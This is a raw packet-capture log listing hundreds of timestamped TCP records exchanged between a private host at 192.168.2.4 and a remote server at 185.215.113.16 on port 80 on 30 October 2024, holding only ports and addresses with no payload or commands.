Oct 30, 2024 12:36:57.233627081 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.233627081 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.233639956 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.233654976 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.233654976 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.233654976 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.233669996 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.233685017 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.233692884 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.233692884 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.233717918 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.233721972 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.233722925 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.233741999 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.233757019 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.233757973 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.233795881 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.233795881 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.233834028 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.233849049 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.233864069 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.233870983 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.233880043 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.233886003 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.233903885 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.233916044 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.233916044 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.233917952 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.233933926 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.233947992 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.233951092 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.233951092 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.233963966 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.233968019 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.233983994 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.233993053 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.233999014 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.234014034 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.234019041 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.234019041 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.234030008 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.234054089 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.234054089 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.234082937 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.234086990 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.234100103 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.234114885 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.234127998 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.234142065 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.234144926 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.234144926 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.234152079 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.234159946 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.234181881 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.234184980 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.234184980 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.234204054 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.234217882 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.234220028 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.234220028 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.234232903 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.234235048 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.234246969 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.234260082 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.234262943 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.234272957 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.234277964 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.234293938 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.234301090 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.234301090 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.234308004 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.234322071 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.234323978 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.234344959 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.234354973 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.234359980 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.234396935 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.234399080 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.234399080 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.234411001 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.234426022 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.234435081 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.234441996 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.234456062 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.234466076 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.234466076 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.234472990 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.234488010 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.234488964 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.234503984 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.234503984 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.234532118 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.234532118 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.234551907 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.234560013 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.234575033 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.234589100 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.234607935 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.234632015 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.234714031 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.234743118 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.234757900 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.234785080 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.234785080 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.234798908 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.234807014 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.234813929 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.234834909 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.234841108 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.234841108 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.234848976 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.234863997 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.234873056 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.234891891 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.234901905 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.234918118 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.234921932 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.234932899 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.234947920 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.234956980 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.234956980 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.234977961 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.235008001 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.235177040 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.235213041 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.235222101 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.235225916 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.235239983 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.235250950 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.235264063 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.235327005 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.235330105 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.235343933 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.235358953 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.235384941 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.235384941 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.235435963 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.235438108 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.235474110 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.235528946 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.235543013 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.235574007 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.235584021 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.235584021 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.235589027 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.235603094 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.235610008 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.235624075 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.235626936 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.235641956 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.235645056 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.235656023 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.235663891 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.235680103 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.235687971 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.235687971 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.235697031 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.235709906 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.235712051 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.235718966 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.235727072 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.235742092 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.235749006 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.235757113 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.235779047 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.235780001 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.235793114 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.235802889 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.235816956 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.235821962 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.235837936 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.235846996 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.235853910 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.235867977 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.235871077 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.235871077 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.235891104 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.235903978 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.235904932 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.235903978 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.235919952 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.235934019 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.235941887 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.235941887 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.235950947 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.235970020 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.235970020 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.235974073 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.235989094 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.235997915 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.235997915 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.236011982 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.236027002 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.236040115 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.236051083 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.236051083 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.236052036 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.236073971 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.236078978 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.236078978 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.236089945 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.236104965 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.236104965 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.236104965 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.236119986 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.236144066 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.236146927 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.236146927 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.236160040 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.236174107 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.236188889 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.236210108 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.236212969 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.236212969 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.236223936 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.236238956 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.236247063 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.236247063 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.236253977 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.236268044 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.236273050 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.236273050 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.236280918 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.236284971 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.236299992 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.236321926 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.236321926 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.236342907 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.236357927 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.236378908 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.236393929 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.236397982 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.236407042 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.236428022 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.236428022 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.236432076 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.236437082 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.236444950 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.236458063 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.236479998 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.236480951 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.236479998 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.236500025 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.236510038 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.236524105 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.236534119 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.236534119 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.236537933 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.236552954 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.236555099 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.236576080 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.236584902 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.236584902 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.236591101 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.236612082 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.236623049 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.236623049 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.236629009 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.236644983 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.236651897 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.236660004 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.236665010 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.236675978 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.236691952 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.236701012 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.236701965 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.236711025 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.236713886 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.236726046 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.236742020 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.236752987 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.236752987 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.236757994 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.236776114 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.236776114 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.236779928 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.236793995 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.236804008 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.236819983 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.236835003 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.236835957 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.236835957 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.236862898 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.236876011 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.236876011 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.236876011 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.236891985 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.236907005 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.236923933 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.236934900 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.236934900 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.236948967 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.236979008 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.236993074 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.237003088 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.237009048 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.237014055 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.237024069 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.237049103 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.237050056 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.237050056 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.237057924 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.237062931 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.237077951 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.237101078 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.237102032 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.237102032 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.237116098 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.237129927 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.237133980 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.237133980 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.237145901 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.237159967 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.237166882 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.237166882 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.237175941 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.237188101 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.237202883 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.237202883 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.237204075 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.237219095 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.237226963 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.237232924 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.237250090 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.237272024 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.237273932 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.237287998 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.237302065 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.237304926 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.237304926 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.237323046 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.237339973 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.237345934 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.237345934 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.237355947 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.237370968 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.237377882 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.237377882 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.237385988 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.237390995 CET	49751	80	192.168.2.4	185.215.113.16
